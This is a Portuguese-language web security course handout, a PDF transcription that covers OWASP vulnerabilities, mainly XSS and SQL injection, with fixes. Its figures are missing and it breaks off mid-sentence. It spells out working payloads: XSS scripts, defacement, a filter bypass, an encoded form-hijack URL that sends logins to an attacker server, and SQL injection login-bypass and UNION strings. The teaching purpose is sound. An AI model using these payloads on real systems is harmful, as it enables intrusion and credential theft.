Curso de Extensão Tecnológica

Tamanho: px
Começar a partir da página:

Download "Curso de Extensão Tecnológica"

Transcrição

1 CENTRO UNIVERSITÁRIO VILA VELHA Curso de Extensão Tecnológica Segurança em Web Autor Maycon Maia Vitali O curso tem como objetivo apresentar aos alunos a realidade dos ataques em sistemas web de maneira prática, demonstrando como os atacantes identificam as vulnerabilidades e, a partir delas, efetuam ataques que comprometem os principais ativos das empresas.

2 Sumário 1. Introdução ao OWASP Introdução a Segurança da Informação Segurança em Web Vulnerabilidades Web Cross-Site-Script (OWASP #1) Primeiro Exemplo Retorno de Variáveis Segundo Exemplo Recuperação de Dados Terceiro Exemplo Alteração de Informações da Página Quarto Exemplo Mudança de Escopo Solução Injeção de SQL (OWASP #2) Primeiro Exemplo Formulário de Acesso Método de Ataque Primeira Proteção Ineficaz Segunda Proteção Ineficaz Terceira Proteção do Primeiro Exemplo (Eficiente?) Segundo Exemplo (Ajax + Variáveis Numéricas) Ferramenta Auxiliar (FireBug) Utilizando o INFORMATION_SCHEMA Descobrindo o Número de Colunas Obtendo colunas visíveis Localizando Tabelas Necessárias Descobrindo o Nome das Colunas Efetuando o Ataque Conclusão...41 Página 2 Curso de Extensão Tecnológica de Segurança em Web

3 3.3. Execução de Arquivo Remoto (OWASP #3) Exemplo Solução Referência Direta a Objetos Inseguros (OWASP #4) Primeiro Exemplo - Acesso a Arquivos do Sistema Operacional Segundo Exemplo - Acesso a Registros do Banco de Dados Solução Cross Site Request Forgery (OWASP #5) Primeiro Exemplo Forum Logout Segundo Exemplo Sites de e-commerce Solução Vazamento de Informação e Tratamento Incorreto de Erros (OWASP #6) Primeiro Exemplo Mensagens Diversas Segundo Exemplo Mensagens de Erro...60 Solução Furo de Autenticação e Gerência de Sessão (OWASP #7)... Erro! Indicador não definido Armazenamento Criptográfico Inseguro (OWASP #8) Criptografia VS Hash Mal da Política de Segurança Ataques a Sistemas Criptográficos Ataques a Funções Hash Solução Comunicação Insegura (OWASP #9) Solução Falha de Restrição de URL (OWASP #10) Solução Referências...72 Curso de Extensão Tecnológica de Segurança em Web Página 3

4 1. Introdução ao OWASP O Open Web Application Security Project (OWASP) é uma comunidade livre e aberta, mundialmente centrada na melhoria da segurança dos softwares. Sua missão é tornar a segurança das aplicações visíveis, para que as pessoas e organizações possam tomar conhecimento sobre os verdadeiros riscos de segurança que uma aplicação pode sofrer. Todos são livres de participar do OWASP, e todos os materiais estão disponíveis sob uma licença de software livre. O OWASP é um novo tipo de organização. Sua liberdade do meio comercial permite fornecer métodos imparciais, práticos e eficazes em termos de custos sobre a aplicação de segurança. O OWASP não é afiliado a qualquer empresa tecnologia, apesar de apoiar a utilização de soluções de segurança tecnologia comercial. De maneira resumida, o OWASP possui como princípios ser livre e aberto, ser direta e concisa, obedecer a um código de ética, não ter fins lucrativos, não ser impulsionada por interesses comerciais e ter uma abordagem baseada em riscos. Como código de ética o OWASP define como seu: Executar todas as atividades profissionais e deveres em conformidade com todas as leis aplicáveis e os mais altos princípios éticos; Promover a implementação e o cumprimento das normas, procedimentos e controles para efeitos de aplicação da segurança; Manter a confidencialidade adequada de propriedade ou de outra informação sensível encontradas no decurso das atividades profissionais; Responsabilidades profissionais com diligência e honestidade; Abster-se de quaisquer atividades que possam constituir um conflito de interesse ou de outra forma prejudicar a reputação dos empregadores, as informações de segurança profissão, ou a Associação, e Não intencionalmente ferir ou refutar a reputação profissional de prática dos colegas, clientes ou funcionário. Página 4 Curso de Extensão Tecnológica de Segurança em Web

5 2. Introdução a Segurança da Informação A segurança da informação é o setor da tecnologia da informação responsável por prover recursos e mecanismos que visam identificar, prevenir e solucionar problemas que ameaças possam fornecer aos ativos de uma empresa. Quanto aos ativos, esses consistem em qualquer recurso que tenha valor para empresa, sejam equipamentos, ferramentas lógicas (como softwares), estrutura física, funcionários e até mesmo a informação em si. De maneira geral, a segurança da informação é responsável por proteger os bens valorados da empresa, além de fornecer mecanismos para contra medidas caso algum dos recursos sofra algum tipo de ameaça ou ataque. Para uma análise, planejamento e implantação de segurança em uma empresa, utiliza-se como atributo dos ativos a tríade CIA (Confidentiality, Integrity and Availability), que representam a confidencialidade, integridade e disponibilidade da informação. A confidencialidade garante que uma dada informação só será acessada pelas pessoas e meios que possuem priv ilégios para tal ação; a integridade garante que, quando uma dada informação for acessada, a mesma seja real, ou seja, não tenha sofrido qualquer tipo de alteração indevida por algum meio externo ou interno; e a disponibilidade garante que a informação esteja disponível quando for solicitada. Os mecanismos de segurança se baseiam em controles físicos, que são barreiras que limitam o acesso direto a informação ou a infra-estrutura (como portas, trancas ou guardas) e controles lógicos, que são barreiras que impedem ou limitam o acesso a informação (geralmente eletrônico) que, de outro modo, ficaria exposta a cópia ou alteração não autorizada por um atacante. Atualmente, existe uma vasta quantidade de ferramentas e sistemas que possuem como objetivo fornecer segurança. Alguns exemplos são os Antivírus (e m4lwares em geral), Sistemas de Detecção e Prevenção de Intrusões, Firewalls, Filtros Anti-Spam, Fuzzers, Analisadores de Códigos, etc. Entretanto, uma má utilização/configuração dessas ferramentas podem não prover a segurança necessária para os ativos em questão. Além das ferramentas citadas, a segurança da informação consiste em proteger os ativos de ameaças físicas como incêndios, desabamentos, relâmpagos, alagamentos, acesso indevido e até mesmo de pessoas. Curso de Extensão Tecnológica de Segurança em Web Página 5

6 2.1. Segurança em Web A Web foi criada com o único objetivo de prover um meio de troca de informações de maneira amigável do que os recursos que se tinham na época. Com isto, não se teve qualquer (ou pouca) ênfase em segurança, e isto se tornou um problema para aqueles que à utilizam como meio comercial. Atualmente, é possível notar que a tendência é que as aplicações sejam migradas para ambiente Web. Isso pelas inúmeras vantagens que essa mudança provém, como o livre acesso de qualquer lugar do mundo, a inter-conectividade entre sistemas, a fácil manutenção (e atualização) etc. Por outro lado, no dia-a-dia ouvem-se notícias e relatos que comprovam o quão a Internet tem se tornado um ambiente hostil, tornando então as empresas sujeitas a ataques alheiros que, consequentemente resultam em perda de capital e credibilidade no mercado. Muitas vezes a aplicação Web se localiza em intranet, ou seja, não possui um acesso direto de um meio externo a ela. Desta forma, empresários e desenvolvedores utilizam a não publicação do sistema como argumento de impossibilidade de comprometimento do sistema. Porém, em um cenário real, tem-se notado crescente o número de ataques internos, geralmente praticados por funcionários insatisfeitos ou até mesmo através de ferramentas maliciosas (malwares) instaladas acidentalmente na rede interna da empresa. Com o fácil acesso a informação, a Internet tem formado diversos profissionais incapazes de proverem segurança nos sistemas desenvolvido e, por mais incrível que pareça, todo o conceito de segurança em desenvolvimento web poderia ser resumido em uma única vertente muito bem definida no livro Writing Secure Code (ISBN ) que diz all input is evil until proven otherwise, ou seja, toda entrada é maléfica até que se provem ao contrário. Pode ocorrer de o programador ter conhecimento dos tipos de ataques. Porém isso não é o bastante para que o mesmo seja capaz de prover um mecanismo eficaz de proteção. De certa forma, ele inibiria ataques conhecidos ou até mesmo padronizados. Uma má programação de um mecanismo de segurança seria extremamente ineficaz em ataques planejados. De uma maneira geral, é possível encontrar diversos mecanismos e sugestões de boas práticas de programação. Porém, grande parte delas procura evitar assinaturas de ataques como caracteres especiais ou algumas características específicas. Ao invés de proibir que o usuário forneça dados inválidos, o ideal seria permitir que o usuário somente fornecesse dados válidos. Isto pode parecer ambíguo, só que no universo de informações que o usuário pode fornecer, entre dados válidos e dados inválidos existe uma infinidade de possibilidades. Assim, somente inibindo o usuário de fornecer um dado inválido, pode ocorrer de dados ou situações não previstas serem utilizadas em um ataque, o que resultaria em sucesso para um atacante. Toda entrada é maléfica até que se provem ao contrário. Em uma aplicação Web, diversos são os meios de interação com o usuário. Com isso, outro erro ignorado por muitos programadores é não validar informações não manipuladas diretamente pelo usuário. Página 6 Curso de Extensão Tecnológica de Segurança em Web

7 Muitas vezes os programadores se preocupam em verificar informações que são visíveis e de fácil manipulação do usuário, como variáveis de URL ou mesmo campos de formulários. Porém diversos são os meios de efetuar um ataque, como campos hidden de formulários, valores de campos do tipo select ou option, dados enviados pelo método POST, dados armazenados em cookie e até mesmo valores enviados no cabeçalho HTTP da requisição. 3. Vulnerabilidades Web A Web sem via de dúvidas é o meio mais fácil de ingressar e ter um espaço na Internet. Além do mais, muitas vezes nos referimos à Internet como somente a Web, de tamanha diferença que ela é difundida com relação aos outros mecanismos de comunicação. Por esse motivo ela tem sido alvo de ataques dos mais diversos. Como a Web tem crescido de maneira a fornecer dezenas mecanismos e ferramentas para iteração com ela, diversos tem sido os tipos de vetores de ataques, o que torna o ambiente Web literalmente uma selva, onde somente os que se preocupam com sua própria segurança sobreviverão. Quando a aplicação Web não armazena nenhuma informação realmente valiosa ou importante, nota-se a não importância pela existência ou não de vulnerabilidades. Porém, é importante saber que ao encontrar uma vulnerabilidade Web, ela pode ser utilizada como portão de entrada para uma invasão em massa e tomada total dos recursos e serviços do servidor e possivelmente da rede onde o mesmo hospeda que, dependendo do contrato de vinculação do serviço, pode responsabilizar o contratante do serviço de hospedagem pelos prejuízos acarretados. Nos próximos capítulos, serão descritos as principais classes de vulnerabilidades presentes na Web, como ela são identificadas e exploradas por um atacante, e como é possível prevenir que se desenvolva uma aplicação suscetível a elas Cross-Site-Script (OWASP #1) A vulnerabilidade de Cross-Site-Script (XSS) é umas das mais antigas e presentes desde os primórdios da programação para Web dinâmica. Apesar do baixo impacto, a falha de XSS é extremamente encontrada nos sistemas Web e, se sucesso na exploração, permite ao atacante obter controle total da sessão de autenticação do usuário vítima. A vulnerabilidade de XSS é explorada com sucesso quando se consegue executar códigos JavaScript no navegador da vítima sem o consentimento dela. Com isto, é possível enviar requisições para o servidor utilizando as credenciais de permissão da vítima atacada. Além do Curso de Extensão Tecnológica de Segurança em Web Página 7

8 mais, em um ataque planejado, é possível fazer literalmente o seqüestro de sessão (do inglês session hijacking), que permite acessar o sistema com autenticação da vítima. De uma maneira geral, a falha de XSS ocorre quando o programador imprime no navegador de maneira dinâmica (PHP, ASP, JSP etc) uma informação que pode ser manipulada pelo usuário. Como toda entrada é mal intencionada até que se provem o contrário, um atacante poderia inserir informações no banco de dados ou em qualquer variável que retorne para o usuário (navegador) sem nenhum tipo de filtro de segurança. Desta forma, ao inserir caracteres especiais, o atacante consegue fazer com que o navegador interprete a informação fornecida como código Javascript, executando assim operações no navegador da vítima. Com a massificação do XSS, idéias foram surgindo. Dentre elas, a criação de w0rms em XSS foi sem dúvida a mais fantástica. Dente os destaques está o Vírus do Orkut, que em meado de 2007, através da uma falha de XSS do Orkut, fazia com que o usuário atacado ingresse na comunidade Infectados pelo Virus do Orkut e enviasse o código que infectaria todos os amigos. Já de se esperar, a comunidade rapidamente chegou a meio milhão de membros, o que fez com que ela fosse a comunidade recordista da época Primeiro Exemplo Retorno de Variáveis Como dito, a falha de Cross-Site-Scripting existe quando o programador repassar para o navegador sem qualquer filtragem e tratamento adequado uma informação que pode ser manipulada pelo usuário. Desta forma o usuário pode inserir códigos client-side (JavaScript, EMACScript, VBScript etc) que seja executados no navegador. Um exemplo para demonstrar a ocorrência da falha pode ser visto no código abaixo: No código acima, é possível notar que o desenvolvedor repassa para o navegador o valor da variável busca enviada pelo usuário através do método GET. Um exemplo de formulário de pesquisa que interaja com o código acima pode ser visto abaixo: Página 8 Curso de Extensão Tecnológica de Segurança em Web

9 Uma caixa de texto fornece o valor da variável busca ao código PHP, porém esse valor poderia ter vindo de diversos lugares como campos hidden, cookie, diretamente da URL etc. O formulário HTML tem seu funcionamento perfeito para usuários comuns e sem más intenções. Porém em um ambiente real sempre devemos nos prever de usuários mal intencionados e levar em consideração que eles possuem conhecimento para efetuar o ataque e que vão fazê-lo. Para um melhor entendimento do funcionamento da falha, veja como ficaria o código gerado pelo script PHP para a busca Ataques Web: Como de se esperar, o código faz o que promete. Porém, se colocarmos caracteres especiais e que possa ser executados pelo navegador, o mesmo o fará e então conseguiremos ter sucesso em como um vetor de ataque. Veja como ficaria se colocássemos o seguinte valor <script>alert('vulneravel a XSS')</script> no campo de pesquisa: Como de se esperar, o script PHP simplesmente repassou o valor digitado para a página. Desta forma, como inserimos códigos Javascript, o navegador executou-os como segue: Curso de Extensão Tecnológica de Segurança em Web Página 9

10 O exemplo de vulnerabilidade de XSS demonstrado não possui grandes chances de sucesso. Isto porque as informações que são enviadas para serem exploradas são fornecidas no mesmo momento da requisição, ou seja, é necessário enviar a requisição para o servidor com os dados que efetuam o ataque para logo depois ter a exploração bem sucedida. Para isto, é necessário utilizar técnicas de Engenharia Social. A Engenharia Social consiste em bolar um meio de literalmente enganar a vítima a fim de induzi-la a cooperar com o processo de exploração. O mais comum seria enviar um contendo alguma informação de interesse da vítima e, com isto, obter um mecanismo de fazer com que ela acesse um endereço como o que segue: Ao acessar o endereço, o código Javascript será executado assim como ocorrido anteriormente em que utilizamos o formulário de pesquisa. Porém, enviando o endereço citado acima, um usuário que tenha o mínimo de preocupação com segurança facilmente notaria que se trata de uma tentativa de ataque (sem mais detalhes). Para evitar esse tipo de desfeche, um atacante tenta ao máximo esconder o que poderia ser um ataque. Desta forma, a vítima ficaria insegura quanto à possibilidade de ser um ataque ou não e, em muitas vezes, arriscaria. Um exemplo onde o atacante camuflaria as assinaturas do ataque poderia ser enviar o seguinte endereço: =%3c%73%63%72%69%70%74%3e%61%6c%65 %72%74%28%27%56%75%6 c%6e%65%72%61%76%65%6c%20%61%20%58%53%53%27%29%3c%2f% 73%63%72%69%70%74%3e No padrão da Web, quando se deseja enviar um caractere especial no cabeçalho HTTP, para o parser do servidor não ter problemas, foi definido como padrão aplicar o HexEncode. O HexEncode (ou URLEncode), consiste em pegar cada um desses caracteres que poderiam causar problemas ao servidor na hora de interpretar e substituí-los pelo seu respectivo valor hexadecimal precedido do símbolo de porcentagem. Para facilitar o trabalho, foi escrito um código Javascript em uma página que acelera o processo de codificação de uma entrada. Se for fornecido como entrada para esta página o Página 10 Curso de Extensão Tecnológica de Segurança em Web

11 código que foi utilizado no ataque à mesma retornará o texto codificado utilizado no exemplo anterior. Veja o resultado da execução do codificador: O código do codificador pode ser visto na figura abaixo: Como dito, o codificador simplesmente substitui cada caractere por seu respectivo valor ASCii (em hexadecimal) precedido do símbolo de porcentagem (linhas 21 e 22). Existem dezenas de métodos onde podemos explorar a falha de Cross-Site-Scripting. Uma das grandes vantagens em sua exploração, é que as vulnerabilidades de XSS são cross-plataform., ou seja, por ela serem explorada por códigos de internet client-side, elas são independente de plataforma. Entretanto, teoricamente, as falhas de XSS se limitam ao ambiente Web, com isto não é possível gravar ou instalar programas no disco da máquina da vítima. Entretanto, isto é verdade somente quando se deseja um código que infecte múltiplas plataformas, já que em alguns navegadores como o Internet Explorer existem recursos que nos permite ler e gravar dados no HD da vítima. Curso de Extensão Tecnológica de Segurança em Web Página 11

12 3.1.2 Segundo Exemplo Recuperação de Dados Dos diversos locais aonde se pode encontrar uma vulnerabilidade de XSS, os que mais interessam os atacantes são falhas que buscam informações de um meio de armazenamento. Na falha descrita, a informação que é repassada para o navegador vem diretamente do navegador, o que cria a necessidade da cooperação da vítima para o sucesso no ataque. Entretanto, algumas falhas de XSS surgem quando os dados fornecidos por um usuário (atacante) são gravados em um meio de armazenamento (banco de dados, arquivo etc.) e ao ser impresso não passar por qualquer tipo de filtro. Um exemplo bem completo de como esse tipo de falha pode ocorrer pode ser visto na figura abaixo: O código acima consiste em uma simples agenda de contatos com uma área de cadastro e uma listagem. Todo o processamento de busca e gravação é feito nas funções cadastracontato (linha 5) e buscacontatos (linha 8). Isto foi feito propositalmente para abstrair o meio de armazenamento. Porém, para um melhor acompanhamento do curso segue o código de ambas as funções: Página 12 Curso de Extensão Tecnológica de Segurança em Web

13 Toda entrada é mal intencionada até que se provem ao contrário. O foco da vulnerabilidade está no fato de o script gravar os dados fornecidos pelo usuário e em seguida os repassar sem nenhum tipo de filtro. Com isto, um atacante pode simplesmente injetar o código Javascript em qualquer um dos campos e esperar que algum outro usuário acesse a mesma página executando, assim, o código Javascript inserido. Veja: Curso de Extensão Tecnológica de Segurança em Web Página 13

14 No exemplo, foi inserido no campo telefone o código <script>alert('attack')</script> que será gravado como um registro e, em qualquer acesso à página, repassado para o usuário (vítima), tendo sucesso no ataque. Repare que a qualquer acesso que fizer à página o resultado será sempre o mesmo, a mensagem que foi inserida pelo atacante. Veja: Repare que para demonstrar o sucesso na execução do Javascript, foi solicitado que o mesmo exiba uma mensagem. Entretanto, em um ataque real, dificilmente o usuário suspeitará do atacante, já que o ataque procura fazer as requisições e ações de maneira escondida. Uma ação comum para um atacante seria alterar informações da própria página. Se o mesmo tiver o propósito de fazer uma pichação na página (defacing), ele poderia simplesmente injetar o seguinte código: <script> document.body.innerhtml = "<h1 align='center'>h4ck3d by 0ut0fBound</h1>"; </script> Desta forma o impacto comercial para a vítima seria incalculável, já que o resultado será o visto na seguinte figura: Página 14 Curso de Extensão Tecnológica de Segurança em Web

15 3.2.3 Terceiro Exemplo Alteração de Informações da Página Outro tipo de exploração à XSS ocorre quando o usuário altera informações criteriosas da página em questão, como valores, textos ou até mesmo endereços de links e destinos de formulários. Já tive sucesso na exploração de XSS em um caso onde alterei o destino para onde o formulário de acesso enviava os dados. Com isto, fiz um código externo que capturava os dados enviados pelo formulário, gravava-os em um lugar e em seguida retornava para a tela de erro comum. Para demonstrar este caso que foi citado vamos analisar o seguinte código: Repare que na linha 17 é impresso um valor fornecido pelo método HTTP-GET, desta forma visível na URL. Podemos tirar proveito disto montando uma URL cujo endereço seja algo como: for m )*0+.action= ;</script> Ou ainda utilizar o mecanismo de camuflagem já visto, deixando a URL mais ilegível: 75%6d%65%6e%74%2 e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4 e%61%6d %65%28%2018%66%6f%72%6d%2019%29%5b%30%5d%2 e%61%63%74%69%6f%6e%3d%2019%68%74 %74%70%3a%2f%2f%77%77%77%2 e%61%74%74%61%63%6b%65%72%73%69%74%65%2 e%63%6f%6 d%2f%70%65%67%61%73%65%6 e%68%61%2 e%70%68%70%2019%3b%3c%2f%73%63%72%69%70%7 4%3e Ambas as URL irão ter o mesmo efeito para o servidor, porém para o usuário a primeira URL apresenta maiores chances de ser um ataque. Curso de Extensão Tecnológica de Segurança em Web Página 15

16 No exemplo citado, o servidor é controlado pelo atacante e o script pegasenha.php simplesmente armazena as senhas fornecidas pelo e redireciona-o para o servidor original novamente informando uma mensagem de erro qualquer. Ao tentar novamente acessar o sistema, o usuário conseguirá logar com sucesso, passando despercebido pelo ataque. Um exemplo simples de script que poderia ser utilizado pelo atacante para salvar as senhas e redirecionar ao servidor original pode ser visto abaixo: Repare que na linha 12 o código redireciona para a página de erro, induzindo o usuário a pensar que digitou errado o login ou a senha. Quando o usuário digitar novamente terá acessado normalmente o sistema. Quando um atacante deseja explorar uma falha de Cross-Site-Script, ele precisa saber o contexto onde ele consegue injetar o código Javascript. Isto significa que, por mais que ele encontre uma falha de XSS em uma página, a exploração como as vistas até agora simplesmente podem não surtir efeito Quarto Exemplo Mudança de Escopo Como dito no inicio, a falha de Cross-Site-Scripting ocorre pelo simples fato de o programador não filtrar os dados que podem ser manipulados pelo usuário antes de reenviá-los para o navegador. Independente de onde estiver no código, é possível explorar uma falha de XSS. O mais comum de se encontrar são parâmetros passados pela URL que são repassados para alimentar informações na página. Se tivermos um pedido de código 1234, para qualquer operação a ser feita nesse pedido deve ter como referência o código do pedido Um exemplo desse tipo de falha esta no trecho de código abaixo: Página 16 Curso de Extensão Tecnológica de Segurança em Web

17 Reparem que a variável pedido é repassada para a página sem nenhum tipo de filtro. Entretanto, se tentarmos inserir um código Javascript como os vistos até agora, o mesmo não surtirá efeito algum já que estamos no contexto da tag HTML <a>, mais precisamente no atributo href. Para se ter sucesso em uma exploração de XSS, é necessário antes sair do contexto da tag atual voltando para o contexto da página e, em seguida, retornar para o contexto da tag, de maneira a deixar imperceptível a tentativa de ataque. Analisando mais cautelosamente, notamos que para sair ta tag atual, precisamos fechar as aspas e em seguida fechar o símbolo de maior-quê. Logo após podemos inserir nosso código Javascript. É possível notar que desta forma seria notável que alguma coisa está estranha, já que sobraram as aspas e o símbolo de maior-que original e as mesmas serão impressas na página. Para que isto não ocorra, é necessário criar algum artifício que utilize esses caracteres e os mesmo não seja impresso. Este ponto vai da criatividade de cada um, uma solução seria o seguinte: Com isto, o script será executado e não afetará o leiaute da página. Para se proteger de ataques de XSS, basta levar em consideração a frase dita em diversas parte do documento: Toda entrada é mal intencionada até que se provem o contrário.. Seguindo este paradigma de programação seria razoavelmente simples e útil se proteger não só dos ataques de Cross-Site-Scripting, como de praticamente qualquer ataque Web ou não-web. Como a vulnerabilidade de XSS consiste em inserir códigos Javascript na página, uma alternativa seria impedir a inserção de caracteres que possam inferir na execução do script como os caracteres < e >. Veja um exemplo de código abaixo: Como em uma política de firewall, tentar bloquear o que não se deseja não é uma boa alternativa, pois ás vezes é difícil (ou impossível) prever todo tipo de dado que pode representar um ataque. Portanto, como uma política de firewall, o ideal seria permitir somente entradas válidas. Um exemplo que burlaria esse filtro simples seria a inserção do seguinte dado à URL: onmouseover="javascript:alert('xss') Curso de Extensão Tecnológica de Segurança em Web Página 17

18 Ao carregar a página, a falha não seria carregada. Porém, ao passar o mouse sobre a caixa de texto, o resultado seria como a seguinte imagem: Solução Em vez de procurar prover uma proteção contra os ataques de Cross-Site-Scripting, o ideal seria torná-los sem efeito. Isso porque muitas vezes é necessário se inserir os caracteres maior-que e menor-que em uma mensagem ou em um campo de formulário. Além do mais, não seria muito legal fornecer ao usuário inocente uma mensagem de tentativa de ataque caso ele tente colocar os caracteres de um emotion ou de uma setinha como ->. Para uma real solução que agrade a todos, o próprio HTML nos fornece uma solução. Diversos caracteres possuem outras representações que indicam que os mesmo deve ser renderizados no navegador ao invés de passar para interpretação. Como toda a internet (TCP/IP), isto não foi feito pensando em segurança, mas sim na diferença de codificação entre as diversas regiões e navegadores. Alguns utilizam por padrão ISSO , outros utiliza UTF- 8 como padrão, o que causa um grande problema caso tentem ser interpretados. No caso da linguagem PHP, uma função chamada htmlspecialchars() pode ser utilizada para substituir os caracteres que são interpretador como HTML para suas representações reais a serem impressas no navegador. Esta função possui a seguinte sintaxe: string htmlspecialchars ( string $string [, int $quote_style [, string $charset ]] ) O primeiro parâmetro consiste na entrada fornecida pelo usuário. O segundo parâmetro (opcional) é utilizado para o PHP saber o que fazer com as aspas-simples e aspas-dupla. O terceiro parâmetro (opcional). O terceiro parâmetro é utilizado para identificar o conjunto de caracteres (codificação) a ser utilizada. O padrão de codificação é o ISO Para o segundo parâmetro quote_style, o modo padrão, ENT_COMPAT, é o modo mais compatível com a atualidade, apenas transforma a aspas-dupla e deixa a aspas-simples como está. Se ENT_QUOTES está definida, ambas transformadas e se ENT_NOQUOTES está definida nenhuma das duas são modificadas. Página 18 Curso de Extensão Tecnológica de Segurança em Web

19 A lista de caracteres e suas substituições estão representadas na tabela abaixo: Caractere Nome Resultado Condição & Ê Comercial & Aspas duplas " ENT_NOQUOTES não está definida Aspas simples &#039; Quando ENT_QUOTES está definida < Menor que < > Maior que > Aplicando somente a função no código acima, vejamos o resultado: Resultado de execução: Curso de Extensão Tecnológica de Segurança em Web Página 19

20 3.2. Injeção de SQL (OWASP #2) Muitos preferem acreditar que não, más a vulnerabilidade de Injeção de SQL (do inglês SQL Injection) é tão presente nos portais e sistemas Web quanto às vulnerabilidades de Cross-Site- Scripting. Porém, como ela é mais publica (existe uma quantidade maior de material falando sobre exploração) e existem mais mecanismos automatizados de defesa, os desenvolvedores sentem uma falsa segurança, o que torna a prática de programação segura irrelevante. Quando foi feito a comparação de SQL Injection com Cross-Site-Scripting, foi puramente levando em consideração o número de ocorrências. Porém, se formos levar em conta o impacto resultante, a vulnerabilidade de SQL Injection é incomparavelmente mais crítica que as falhas de XSS. Isto porque através das falhas de SQL Injection é possível tomar controle total do banco de dados e, dependendo das características e permissões do banco de dados, obter controle do servidor e da rede inteira. Não muito diferente do XSS (e qualquer umas das falhas Web), a vulnerabilidade de SQL Injection ocorre pela má filtragem de dados fornecidos pelo usuário. Ela existe quando um dado que pode ser manipulada pelo usuário é repassado diretamente para um comando do banco de dados. Dessa forma, um usuário mal-intencionado consegue injetar caracteres especiais, alterando completamente a lógica da instrução original ou executando comandos arbitrários do Banco de Dados. Em meados do ano de 2004, a vulnerabilidade de SQL Injection explodiu na Internet, e diversos administradores e programadores viram seus portais sendo invadidos e utilizados para fraudes financeiros, pichadores de páginas (defacers) etc. Isso ocorreu pelo modo mais simples de vulnerabilidade de SQL Injection, que consiste em inserir alguns caracteres especiais de maneira a autenticar em diversos sistemas. Página 20 Curso de Extensão Tecnológica de Segurança em Web

21 3.2.1 Primeiro Exemplo Formulário de Acesso Para fins de demonstração nos exemplos de controle de acesso será utilizado o seguinte formulário HTML: Com isto, vamos ao primeiro, mais simples e mais vulnerável método de validação de acesso que receba os dados deste formulário, verifica se existe no banco e, valida o acesso. Curso de Extensão Tecnológica de Segurança em Web Página 21

22 O código é comum à maioria dos desenvolvedores. Inicialmente ele verifica se não foi passado algum campo em branco (linhas 5-8). Em seguida ele monta um comando SQL que buscar os usuários que coincidem com os campos passados no formulário (linhas 13-18), conecta ao banco (linha 21), executa o comando SQL pegando o recordset (linha 23) e valida o usuário se existiu algum registro que coincidiu com os dados fornecidos (linhas 26-33) Método de Ataque O principal problema neste código que torna a exploração desta falha extremamente simples ocorre pelo fato do desenvolvedor verificar se houve qualquer registro resultante do comando SQL. Desta forma, um atacante consegue inserir caracteres especiais alterando a lógica da instrução SQL da seguinte forma: Usuário: ' or ''=' Senha: ' or ''=' Assim, o comando SQL ficaria como segue: Repare que com as entradas especificadas é possível alterar a lógica do comando SQL. Desta forma, a consulta que deveria retornar somente um registro se existisse acabou retornando todos os registros do banco de dados, retornando como usuário o primeiro que for encontrado no banco (geralmente webmaster ou administrador). Página 22 Curso de Extensão Tecnológica de Segurança em Web

23 O resultado da intrusão pode ser visto na figura abaixo: Primeira Proteção Ineficaz Como contramedida, diversos programadores utilizam de meios para evitar esse tipo de ataque e criar uma camada extra de segurança. A primeira é verificar se o comando SQL retornou somente um registro, desta forma, esse ataque visto de inicio não surtiria efeito, porém com entradas SQL especificas é possível burlar esse mecanismo de proteção. Veja um trecho de código que efetua essa verificação de quantidade de registros de retorno: Porém, como ainda não é feito quaisquer tipo de validação da entrada fornecida pelo usuário, um atacante poderia induzir a sua injeção de SQL a retornar somente 1 (um) único registro. Isto pode ser facilmente obtido através do parâmetro LIMIT dos comandos SQL. Um exemplo de entrada que burlaria esse mecanismo de proteção seria: Usuário: ' or ''=' Senha: ' or ''='' LIMIT 1 -- Repare que houve uma modificação no campo senha do formulário. Esta modificação está induzindo o comando SQL a retornar todos os registros (como anteriormente), porém limitando a consulta a apenas um único registro. Desta forma, o comando SQL resultante seria o seguinte: Curso de Extensão Tecnológica de Segurança em Web Página 23

24 Além disto, se um atacante desejar acessar o sistema utilizando um usuário específico, o código de checagem não surtiria efeito algum como mecanismo de segurança. Um exemplo para acessar com um possível usuário maycon pode ser efetuado com as seguintes entradas: Usuário: maycon' /* Senha: */ -- Desta forma, o comando SQL a ser executado seria como segue: Repare que foi inserido um usuário maycon e logo após foi aberto um comentário de bloco, que foi fechado pelo campo senha e, como temos mais caracteres após este, foi inserido um comentário de linha, que ignora quaisquer caracteres subseqüentes a ele. Utilizando a entrada especificada como ataque surtiria o seguinte efeito: Página 24 Curso de Extensão Tecnológica de Segurança em Web

25 Segunda Proteção Ineficaz Outro meio incorreto de proteger-se desse tipo de ataque é a validação da senha do usuário com a senha armazenada no banco de dados. Dessa forma, o usuário iria necessitar fornecer a senha que esteja compatível com o banco de dados. Este método pode ser visto no seguinte código: Neste aspecto, temos dois meios de exploração, o primeiro seria inserir o primeiro injection visto no campo usuário e ir chutando senhas aleatórias, desta forma, o campo usuário seria ignorando e se a senha coincidir com a senha de qualquer usuário o mesmo seria utilizado para autenticação. O segundo seria induzir a senha, ou seja, bolar algum mecanismo para manipular a senha a fim de escolher qual senha utilizar. Para o primeiro método, uma entrada como a seguinte seria satisfeita se existisse algum usuário com a senha : Usuário: ' or ''=' Senha: Ao inserir os valores citados nos campos, o comando SQL resultante seria o seguinte: Desta forma, seria localizado qualquer registro com senha Assim, um atacante experiente conseguiria desenvolver uma ferramenta de força bruta (do inglês Brute Force) que tentaria obter acesso com um dicionário de senhas padrões. Outro método mais avançado de se obter acesso anulando o comando SQL original e gerando um novo comando SQL, induzindo assim qualquer senha que desejar. Para isto, uma entrada mais complexa deve ser fornecido, veja: Usuário: ' UNION SELECT 1,'hacker','login','*/ -- ' /* Senha: */ -- Curso de Extensão Tecnológica de Segurança em Web Página 25

26 Assim, todo o comando SQL ficaria da seguinte forma: Como notado, o comando padrão SQL não retorna nada e, através do comando UNION, foi gerado um segundo comando que retorna um registro de constantes, tendo as seguintes colunas: Id: 1 Nome: hacker Login: login Senha: */ -- Então, definimos a senha no novo registro como a mesma definida no formulário HTML, tendo o seguinte resultado no navegador: Repare que todos os ataques à SQL Injection até então demonstrados se baseiam em utilizar caracteres especiais do SQL. Dentre esses caracteres, o presente em todos os exemplos é a aspas-simples, que no SQL é utilizado como delimitador de cadeira de caractere (string). Com isto, diversos programadores protegem seus códigos desses caracteres, às vezes removendoos quando for passar um desses parâmetros para um comando SQL ou simplesmente aplicado o chamado escape Terceira Proteção do Primeiro Exemplo (Eficiente?) No PHP, existe uma função que faz o trabalho de escapar o texto de maneira a passá-lo como parâmetro em uma comando SQL. Esta função é a addslashed() e possui o seguinte protótipo: string addslashes ( string $str ) Basicamente, ela escapa (insere uma barra invertida) os caracteres que podem causar riscos aos Bancos de Dados, que são aspas simples ( ), aspas duplas ( ), barra invertida ( \) e o caractere nulo (NUL). Se aplicarmos a função addslashes() em nosso ultimo exemplo, o 